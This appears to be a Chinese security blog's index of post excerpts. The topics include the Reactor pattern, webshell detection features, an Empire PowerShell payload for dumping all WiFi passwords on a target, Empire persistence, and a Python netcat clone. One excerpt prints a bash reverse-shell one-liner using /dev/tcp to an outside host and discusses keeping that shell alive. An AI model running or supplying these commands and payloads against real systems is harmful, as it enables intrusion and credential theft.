1. 前 言 在上篇译文《理解Reactor模式:线程模式和事件驱动模式》 中，作者讲解了多线程模式和事件驱动模式的并发网络编程，并且基于事件驱动模型，引出了Reactor这一I/O多路复用模式。但是随着笔者对Reactor模式的深入研究，发现其设计理念在许多开源的高并发网络库中都有应用。并且还有一个于是类似的Proactor模式。 ...

本文为技术翻译，原文出自：《Understanding Reactor Pattern: Thread-Based and Event-Driven》 。 首先，什么是Reactor模式呢？译者在此想结合自身理解说说个人见解。reactor的字面的翻译是“反应器设计模式”或者说“反应堆设计模式”，这里引用一下Wikipedia上的定义：“The reactor design pattern is an event handlin ...

本篇博客主要讲解在采用机器学习的方法进行webshell检测的过程中的关键环节--有效特征的提取。因为特征选取的好坏会直接关系到最终机器学习检测的结果。 结合笔者在安全方面的了解与研究，经过为期一周的反复思考与相关资料的参考，以及与该系统的兼容考虑，现总结整理出如下基于web日志分析、基于统计学分析、基于文件 ...

分享一个一键获取电脑上所有WiFi密码的powershell。源码如下： function Get-WifiPasswd { <# .SYNOPSIS Empire Payload to get the target's all wifi passwd .DESCRIPTION This payload uses the Get our target's all wifi password. but you need a administrator privilege. .EXAMPLE PS > Get-WifiPasswd .LINK / ...

这段时间看了一个Windows下权限维持的开源工具组件Empire，采用powershell来对目标主机进行操作，由于是powershell，所有基本都是免杀。关于Empire，有兴趣的同学可以研究下，下面是相关学习资料： 作者博客： http://www.powershellempire.com/ GitHub链接：https://github.com/PowerShellEmpire Empire：PowerShell后 ...

0x00 经典姿势 下面这个在Linux下反弹shell的经典姿势相信大家一定不会陌生： bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 但是，这样是有一个小问题的，就是当你在target主机上运行上面这句shell脚本时，它是一直在等待挂着的，如果退出的话，反弹出来的shell也会跟着断掉，这就不好玩了。 0x01 关于进程 进程组 (process ...

在之前的博文《NC入门笔记》 中简单介绍了NC的四种常见的使用技巧。在本篇博文中将用python实现NC几个常用的功能。基本实现很简单，就是建立TCP socket连接进行通信，关于python的socket编程可以看我之前的文章：《python网络编程基础》。在命令执行这块就是使用subprocess（subprocess 模块允许你大量产生新的进程，然 ...